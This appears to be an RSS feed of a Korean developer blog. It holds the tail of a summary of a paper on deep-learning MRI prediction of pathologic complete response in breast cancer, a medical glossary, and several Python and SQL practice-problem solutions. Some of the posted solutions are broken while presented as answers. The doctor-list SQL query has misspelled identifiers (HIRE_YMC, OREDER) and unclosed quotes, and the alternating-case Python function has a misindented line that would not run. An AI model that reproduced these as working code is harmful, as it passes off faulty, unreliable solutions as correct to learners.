• 여러 동적 단계(MRI의 sub1, sub3, sub5)와 임상 데이터를 결합한 통합 모델의 AUC는 0.70으로, 단일 지연 단계(sub5) 모델보다 성능이 낮았음.
• 이 차이 또한 통계적으로 유의미하며(P=0.022), 모델 복잡도가 증가하면서 예측 성능이 떨어진것으로 해석됨.

3. 전체 이미지를 활용한 모델

• 전체 이미지를 입력 데이터로 활용한 모델(uncropped model)의 AUC는 0.45~0.54로, 관심 영역(ROI)을 활용한 모델에 비해 성능이 매우 낮았음.
• 논문에서는 전체 이미지를 사용할 경우, 불필요한 정보가 많아 모델의 학습에 혼란을 초래한다고 언급.

4. 임상 데이터만을 활용한 모델

• 임상 데이터를 활용한 모델의 AUC는 0.59~0.63으로, 딥러닝 MRI 모델의 성능에 크게 못 미침.
• 이는 임상 데이터만으로는 pCR 여부를 정확히 예측하기에 부족함을 보여줌.

결론

1. 딥런닝 기반 지연 단계 MRI 모델의 우수성

• 논문에서는 딥러닝 모델이 지연 단계(sub5) MRI 데이터를 활용할 때 가장 높은 성능(AUC=0.74)을 기록했다고 명확히 밝히며, 해당 모델이 NAC 후 불필요한 수술을 줄이는 데 기여할 가능성이 있음 시사함.

2. 임상 적용을 위한 외부 검증 필요성

• 논문의 Discusssion 부분에서 단일 기관에서의 연구라는 점을 한계로 지적, 외부 검증이 필요하다고 언급하고 있으며 논문의 결론 부분에서 추가적인 모델 개선과 검증의 필요성을 나타내고 있다.

한계점 및 향후 연구

• 단일 기관에서의 연구로 검증 부족.
• 다중 시점(pre- 및 post-NAC) MRI 데이터를 통합하지 못함.
• MRI 데이터의 자동화된 세분화(segmentation) 기술 미적용.
• 다중 파라미터 MRI 및 대규모 데이터셋 활용한 추가 연구 필요.

위 논문을 읽고난 후...

의료영상 처리에 딥러닝이 가져올 변화와 영향력을 다시금 실감할 수 있었던 것 같다. 아직은 해결해야할 기술적 과제와 발전의 여지가 많지만, 이 논문에서 딥러닝 기술이 의료 영상 분석과 병리학적 완전 반응(pCR) 예측에서 좋은 성능을 보여주었고 향후 연구와 실질적인 임상 적용에 어떻게 적용이 될지 기대가 된다. 그리고 의료 분야에서 딥러닝 같은 첨단 기술 적용 되면서 발전되어 가고 있지만, 도출된 결과의 해석과 모델의 신뢰성을 보장하는 데 있어 여전히 전문가의 통찰과 지식이 필수적이라고 느꼈다. 앞으로 기술과 전문가의 협력을 통해 의료 분야에서의 딥러닝 뿐아니라 다양한 AI 응용 가능성에 기대가 된다.

주요 의학 용어 및 딥러닝 이미지 처리 관련 용어 정리

1. HER2(Human Epidermal Growth Factor Receptor 2): 세포 성장 및 분열에 관여하는 단백질로, 유방암 환자의 경우 이 유전자가 활성화되어 암세포 분열을 촉진함.

2. Triple-negative Breast Cancer(TNBC): 에스트로겐 수용체, 프로게스테론 수용체, HER2 단백질 모두 음성인 유방암 유형으로, 예후가 일반적으로 좋지 않음.

3. Pathologic Complete Response(pCR): 항암 치료 후 조직 검사에서 암세포가 전혀 발견되지 않는 상태.

4. Neoadjuvant Chemotherapy(NAC): 수술 전에 시행하는 항암 화학요법으로, 종양 크기를 줄이거나 전이를 억제하는 목적으로 사용됨.

5. Dynamic Contrast-Enhanced MRI(DCE-MRI): 조영제를 사용하여 조직의 혈류 변화와 혈관 특성을 시각화하는 자기공명영상(MRI) 기술.

6. Axillary Lymph Node: 겨드랑이에 위치한 림프절로, 림프액이 통과하는 경로에서 면역 반응을 담당하는 중요한 조직.

7. Sentinel Lymph Node Biopsy: 암세포가 처음 도달할 가능성이 높은 림프절을 제거 및 검사하여 암의 전이 여부를 확인하는 절차.

8. Grad-CAM(Gradient-weight Class Activation Mapping): 딥러닝 모델의 예측에 기여한 이미지의 주요 영역을 시각화하는 기술.

9. ROI(Region of Interest): 이미지나 데이터에서 분석하고자 하는 특정 관심 영역.

10. Ki-67 Index: 세포의 증식 정도를 나타내는 지표로, 암세포의 분열 속도를 평가하는 데 사용됨.

11. Histologic Grade: 암 조직의 악성도를 나타내는 등급으로, 종양 세포의 구조적 특성과 분화 정도를 평가함.

12. Ductal Carcinoma: 유관(젖을 운반하는 관)에서 발생하는 유방암의 한 유형.

13. Diffusion-Weighted Imaging(DWI): 물 분자의 확산 정도를 측정하여 조직의 구조적 차이를 시각화하는 MRI 기술.

14. AC-DH: 특정 약물 조합인 Adriamycin(도옥소루비신), Cyclophosphamide(사이클로포스파마이드), Docetaxel(도세탁셀), Herceptin(허셉틴)을 사용하는 화학요법.

15. TCHP: Taxane(탁산 계열 약물), Carboplatin(카보플라틴), Herceptin(허셉틴), Pertuzumab(퍼투주맙)의 화학요법 조합.

]]> https://velog.io/@jesper_ch/Python-%EC%82%BC%EC%B4%9D%EC%82%AC https://velog.io/@jesper_ch/Python-%EC%82%BC%EC%B4%9D%EC%82%AC Tue, 02 Jul 2024 11:44:02 GMT 문제

한국중학교에 다니는 학생들은 각자 정수 번호를 갖고 있습니다. 이 학교 학생 3명의 정수 번호를 더했을 때 0이 되면 3명의 학생은 삼총사라고 합니다. 예를 들어, 5명의 학생이 있고, 각각의 정수 번호가 순서대로 -2, 3, 0, 2, -5일 때, 첫 번째, 세 번째, 네 번째 학생의 정수 번호를 더하면 0이므로 세 학생은 삼총사입니다. 또한, 두 번째, 네 번째, 다섯 번째 학생의 정수 번호를 더해도 0이므로 세 학생도 삼총사입니다. 따라서 이 경우 한국중학교에서는 두 가지 방법으로 삼총사를 만들 수 있습니다.

한국중학교 학생들의 번호를 나타내는 정수 배열 number가 매개변수로 주어질 때, 학생들 중 삼총사를 만들 수 있는 방법의 수를 return 하도록 solution 함수를 완성하세요.

제한사항

3 ≤ number의 길이 ≤ 13 -1,000 ≤ number의 각 원소 ≤ 1,000 서로 다른 학생의 정수 번호가 같을 수 있습니다.

입출력 예

number	result
[-2, 3, 0, 2, -5]	2
[-3, -2, -1, 0, 1, 2, 3]	5
[-1, 1, -1, 1]	0

입출력 예 설명

입출력 예 #1

문제 예시와 같습니다.

입출력 예 #2

학생들의 정수 번호 쌍 (-3, 0, 3), (-2, 0, 2), (-1, 0, 1), (-2, -1, 3), (-3, 1, 2) 이 삼총사가 될 수 있으므로, 5를 return 합니다.

입출력 예 #3

삼총사가 될 수 있는 방법이 없습니다.

문제 풀이

from itertools import combinations
>
def solution(number):
    count = 0
    for i in combinations(number, 3):
        if sum(i) == 0:
            count += 1
    return count

• 사용된 모듈/함수 itertoosl : iterator(값을 차례로 꺼낼 수 있는 객체)를 생성해 주는 모듈 combinations : iterable 에서 조합을 반환하는 iterator 생성 sum : 연속된 수들의 합을 구해줌

코드 설명

from itertools import combinations

itertools 모듈 combinations 함수를 import

for i in combinations(number, 3):
    if sum(i) == 0:
        count += 1

• combinations 함수 사용 : number리스트에서 3개의 요소로 조합을 생성. 생성된 조합을 반복문으로 돌림
• 생성된 조합중 합이 0이면 count 변수에 1씩 담아 3 요소의 합이 0이 되는 조합이 몇개인지 찾아준다.

]]> https://velog.io/@jesper_ch/Python-%EC%9D%B4%EC%83%81%ED%95%9C-%EB%AC%B8%EC%9E%90-%EB%A7%8C%EB%93%A4%EA%B8%B0 https://velog.io/@jesper_ch/Python-%EC%9D%B4%EC%83%81%ED%95%9C-%EB%AC%B8%EC%9E%90-%EB%A7%8C%EB%93%A4%EA%B8%B0 Tue, 02 Jul 2024 10:49:10 GMT 문제

문자열 s는 한 개 이상의 단어로 구성되어 있습니다. 각 단어는 하나 이상의 공백문자로 구분되어 있습니다. 각 단어의 짝수번째 알파벳은 대문자로, 홀수번째 알파벳은 소문자로 바꾼 문자열을 리턴하는 함수, solution을 완성하세요.

제한 사항

문자열 전체의 짝/홀수 인덱스가 아니라, 단어(공백을 기준)별로 짝/홀수 인덱스를 판단해야합니다. 첫 번째 글자는 0번째 인덱스로 보아 짝수번째 알파벳으로 처리해야 합니다.

입출력 예

s	return
"try hello world"	"TrY HeLlO WoRlD"

입출력 예 설명

"try hello world"는 세 단어 "try", "hello", "world"로 구성되어 있습니다. 각 단어의 짝수번째 문자를 대문자로, 홀수번째 문자를 소문자로 바꾸면 "TrY", "HeLlO", "WoRlD"입니다. 따라서 "TrY HeLlO WoRlD" 를 리턴합니다.

문제 풀이

def solution(s):
    answer = ''
    for i in s.split(' '):
        for j in range(len(i)):
            if j % 2 == 0:
                answer += i[j].upper()
            else:
                answer += i[j].lower()
         answer += ' '
    return answer[:-1]

• 사용된 함수 split() : 구분자를 통해 문자열을 구분해줌 upper() : 문자, 문자열 내 대문자 구분 lower() : 문자, 문자열 내 소문자 구분

코드 설명

for i in s.split(' '):

문자열 s에 대해 공백을 구분자로 구분하여 반복문 실행

ex) 문자열 s = 'try hello world' 실행 결과 try helloe world

for j in range(len(i)):
    if j % 2 == 0:
        answer += i[j].upper()
    else:
        answer += i[j].lower()
answer += ' '

• i의 길이 만큼 반복문 실행
• i의 요소인 j가 짝수 번째 일때 i의 요소를 대문자로 구분하여 answer 변수에 차례로 적재하는 코드
• else 구문 : j가 홀수 번째 일때 i의 요소를 소문자로 구분하여 answer 변수에 적재
• answer += ' ' : 공백을 넣어줌으로 단어를 구분할 수 있게 해준다.

]]> https://velog.io/@jesper_ch/SQL-%ED%9D%89%EB%B6%80%EC%99%B8%EA%B3%BC-%EB%98%90%EB%8A%94-%EC%9D%BC%EB%B0%98%EC%99%B8%EA%B3%BC-%EC%9D%98%EC%82%AC-%EB%AA%A9%EB%A1%9D-%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0 https://velog.io/@jesper_ch/SQL-%ED%9D%89%EB%B6%80%EC%99%B8%EA%B3%BC-%EB%98%90%EB%8A%94-%EC%9D%BC%EB%B0%98%EC%99%B8%EA%B3%BC-%EC%9D%98%EC%82%AC-%EB%AA%A9%EB%A1%9D-%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0 Tue, 02 Jul 2024 10:27:58 GMT 문제

다음은 종합병원에 속한 의사 정보를 담은DOCTOR 테이블입니다. DOCTOR 테이블은 다음과 같으며 DR_NAME, DR_ID, LCNS_NO, HIRE_YMD, MCDP_CD, TLNO는 각각 의사이름, 의사ID, 면허번호, 고용일자, 진료과코드, 전화번호를 나타냅니다.

Column name	Type	Nullable
DR_NAME	VARCHAR(20)	FALSE
DR_ID	VARCHAR(10)	FALSE
LCNS_NO	VARCHAR(30)	FALSE
HIRE_YMD	DATE	FALSE
MCDP_CD	VARCHAR(6)	TRUE
TLNO	VARCHAR(50)	TRUE

DOCTOR 테이블에서 진료과가 흉부외과(CS)이거나 일반외과(GS)인 의사의 이름, 의사ID, 진료과, 고용일자를 조회하는 SQL문을 작성해주세요. 이때 결과는 고용일자를 기준으로 내림차순 정렬하고, 고용일자가 같다면 이름을 기준으로 오름차순 정렬해주세요.

예시

DOCTOR 테이블이 다음과 같을 때

DR_NAME	DR_ID	LCNS_NO	HIRE_YMD	MCDP_CD	TLNO
루피	DR20090029	LC00010001	2009-03-01	CS	01085482011
패티	DR20090001	LC00010901	2009-07-01	CS	01085220122
뽀로로	DR20170123	LC00091201	2017-03-01	GS	01034969210
티거	DR20100011	LC00011201	2010-03-01	NP	01034229818
품바	DR20090231	LC00011302	2015-11-01	OS	01049840278
티몬	DR20090112	LC00011162	2010-03-01	FM	01094622190
니모	DR20200012	LC00911162	2020-03-01	CS	01089483921
오로라	DR20100031	LC00010327	2010-11-01	OS	01098428957
자스민	DR20100032	LC00010192	2010-03-01	GS	01023981922
벨	DR20100039	LC00010562	2010-07-01	GS	01058390758

SQL을 실행하면 다음과 같이 출력되어야 합니다.

DR_NAME	DR_ID	MCDP_CD	HIRE_YMD
니모	DR20200012	CS	2020-03-01
뽀로로	DR20170123	GS	2017-03-01
벨	DR20100039	GS	2010-07-01
자스민	DR20100032	GS	2010-03-01
패티	DR20090001	CS	2009-07-01
루피	DR20090029	CS	2009-03-01

문제 풀이

SELECT DR_NAME, DR_ID, MCDP_CD, 
       DATE_FORMAT(HIRE_YMC, '%Y-%m-%d) 'HIRE_YMD'
FROM DOCTOR
WHERE MCDP_CD = 'CS OR MCDP_CD = 'GS'
OREDER BY HIRE_YMD DESC, DR_NAME

]]> https://velog.io/@jesper_ch/SQL-DATETIME%EC%97%90%EC%84%9C-DATE%EB%A1%9C-%ED%98%95%EB%B3%80%ED%99%98 https://velog.io/@jesper_ch/SQL-DATETIME%EC%97%90%EC%84%9C-DATE%EB%A1%9C-%ED%98%95%EB%B3%80%ED%99%98 Tue, 02 Jul 2024 10:20:30 GMT 문제

ANIMAL_INS 테이블은 동물 보호소에 들어온 동물의 정보를 담은 테이블입니다. ANIMAL_INS 테이블 구조는 다음과 같으며, ANIMAL_ID, ANIMAL_TYPE, DATETIME, INTAKE_CONDITION, NAME, SEX_UPON_INTAKE는 각각 동물의 아이디, 생물 종, 보호 시작일, 보호 시작 시 상태, 이름, 성별 및 중성화 여부를 나타냅니다.

NAME	TYPE	NULLABLE
ANIMAL_ID	VARCHAR(N)	FALSE
ANIMAL_TYPE	VARCHAR(N)	FALSE
DATETIME	DATETIME	FALSE
INTAKE_CONDITION	VARCHAR(N)	FALSE
NAME	VARCHAR(N)	TRUE
SEX_UPON_INTAKE	VARCHAR(N)	FALSE

ANIMAL_INS 테이블에 등록된 모든 레코드에 대해, 각 동물의 아이디와 이름, 들어온 날짜1를 조회하는 SQL문을 작성해주세요. 이때 결과는 아이디 순으로 조회해야 합니다.

예시

예를 들어, ANIMAL_INS 테이블이 다음과 같다면

ANIMAL_INS

ANIMAL_ID	ANIMAL_TYPE	DATETIME	INTAKE_CONDITION	NAME	SEX_UPON_INTAKE
A349996	Cat	2018-01-22 14:32:00	Normal	Sugar	Neutered Male
A350276	Cat	2017-08-13 13:50:00	Normal	Jewel	Spayed Female
A350375	Cat	2017-03-06 15:01:00	Normal	Meo	Neutered Male
A352555	Dog	2014-08-08 04:20:00	Normal	Harley	Spayed Female
A352713	Cat	2017-04-13 16:29:00	Normal	Gia	Spayed Female

SQL문을 실행하면 다음과 같이 나와야 합니다.

ANIMAL_ID	NAME	날짜
A349996	Sugar	2018-01-22
A350276	Jewel	2017-08-13
A350375	Meo	2017-03-06
A352555	Harley\2014-08-08
A352713	Gia	2017-04-13

문제 풀이

SELECT ANIMAL_ID, NAME,
       DATE_FORMAT(DATETIME, '%Y-%m-%d') '날짜'
FROM ANIMAL_INS
ORDER BY ANIMAL_ID

]]> https://velog.io/@jesper_ch/SQL-%EA%B0%95%EC%9B%90%EB%8F%84%EC%97%90-%EC%9C%84%EC%B9%98%ED%95%9C-%EC%83%9D%EC%82%B0%EA%B3%B5%EC%9E%A5-%EB%AA%A9%EB%A1%9D-%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0 https://velog.io/@jesper_ch/SQL-%EA%B0%95%EC%9B%90%EB%8F%84%EC%97%90-%EC%9C%84%EC%B9%98%ED%95%9C-%EC%83%9D%EC%82%B0%EA%B3%B5%EC%9E%A5-%EB%AA%A9%EB%A1%9D-%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0 Tue, 02 Jul 2024 10:15:25 GMT 문제

다음은 식품공장의 정보를 담은 FOOD_FACTORY 테이블입니다. FOOD_FACTORY 테이블은 다음과 같으며 FACTORY_ID, FACTORY_NAME, ADDRESS, TLNO는 각각 공장 ID, 공장 이름, 주소, 전화번호를 의미합니다.

Column name	Type	Nullable
FACTORY_ID	VARCHAR(10)	FALSE
FACTORY_NAME	VARCHAR(50)	FALSE
ADDRESS	VARCHAR(100)	FALSE
TLNO	VARCHAR(20)	TRUE

FOOD_FACTORY 테이블에서 강원도에 위치한 식품공장의 공장 ID, 공장 이름, 주소를 조회하는 SQL문을 작성해주세요. 이때 결과는 공장 ID를 기준으로 오름차순 정렬해주세요.

예시

FOOD_FACTORY 테이블이 다음과 같을 때

FACTORY_ID	FACTORY_NAME	ADDRESS	TLNO
FT19980003	(주)맛있는라면	강원도 정선군 남면 칠현로 679	033-431-3122
FT19980004	(주)맛있는기름	경기도 평택시 포승읍 포승공단순환로 245	031-651-2410
FT20010001	(주)맛있는소스	경상북도 구미시 1공단로7길 58-11	054-231-2121
FT20010002	(주)맛있는통조림	전라남도 영암군 미암면 곤미현로 1336	061-341-5210
FT20100001	(주)맛있는차	전라남도 장성군 서삼면 장산리 233-1번지	061-661-1420
FT20100002	(주)맛있는김치	충청남도 아산시 탕정면 탕정면로 485	041-241-5421
FT20100003	(주)맛있는음료	강원도 원주시 문막읍 문막공단길 154	033-232-7630
FT20100004	(주)맛있는국	강원도 평창군 봉평면 진조길 227-35	033-323-6640
FT20110001	(주)맛있는밥	경기도 화성시 팔탄면 가재리 34번지	031-661-1532
FT20110002	(주)맛있는과자	광주광역시 북구 하서로 222	062-211-7759

SQL을 실행하면 다음과 같이 출력되어야 합니다.

FACTORY_ID	FACTORY_NAME	ADDRESS
FT19980003	(주)맛있는라면	강원도 정선군 남면 칠현로 679
FT20100003	(주)맛있는음료	강원도 원주시 문막읍 문막공단길 154
FT20100004	(주)맛있는국\강원도 평창군 봉평면 진조길 227-35

문제 풀이

SELECT FACTORY_ID, FACTORY_NAME, ADDRESS
FROM FOOD_FACTORY
WHERE ADDRESS LIKE '%강원도%'
ORDER BY FACTORY_ID

]]>